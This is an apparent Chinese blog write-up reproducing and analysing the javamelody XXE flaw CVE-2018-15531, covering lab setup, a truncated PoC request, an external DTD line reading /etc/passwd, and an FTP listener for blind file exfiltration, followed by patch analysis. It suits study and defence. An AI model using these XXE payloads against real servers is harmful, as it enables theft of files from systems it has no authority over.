javamelody XXE(CVE-2018-15531) 复现分析
javaMelody是Spring Boot框架可用的一个监视服务器运行信息的插件,这个插件去年爆出了一个XXE的漏洞。这篇文章便分析一下这个漏洞。
漏洞复现
环境搭建
这里我使用了Idea来搭建spring boot的环境,创建好spring boot项目后在pom.xml
的dependencies
中加入
1 | <dependency> |
之后启动程序,访问127.0.0.1:8080/monitoring
便可以验证是否加载成功插件。
漏洞复现
漏洞复现使用的poc为:
1 | POST / HTTP/1.1 |
在本地起一个监听5678端口的http服务,这里我用的是php
可以看到发包后可以收到http请求,因此存在XXE漏洞。
为了完成盲打读取文件的功能,ev.dtd的内容如下:
1 | <!ENTITY % payload SYSTEM "file:///etc/passwd"> |
使用如下的ruby脚本可以创建一个用于获取ftp请求的ftp服务器:
1 | require 'socket' |
运行脚本,Burp重新发包即可获取本地文件。
原理分析
根据大佬们的分析流程,直接查看之后的版本的patch可以定位导致漏洞出现的地方:
https://github.com/javamelody/javamelody/commit/ef111822562d0b9365bd3e671a75b65bd0613353
可以看到官方的修复中直接禁用了XML中引用外部实体。我们跟进目标代码附近
可以看到这段代码是一个典型的XXE的漏洞代码。全局查找使用了parseSoapMethodName
的地方
跟进initialize
方法
可以看到漏洞利用方法构造的要素:
- POST方法
- Content-type:为
application/soap+xml
或者Content-type为text/xml
且存在SOAPAction
请求头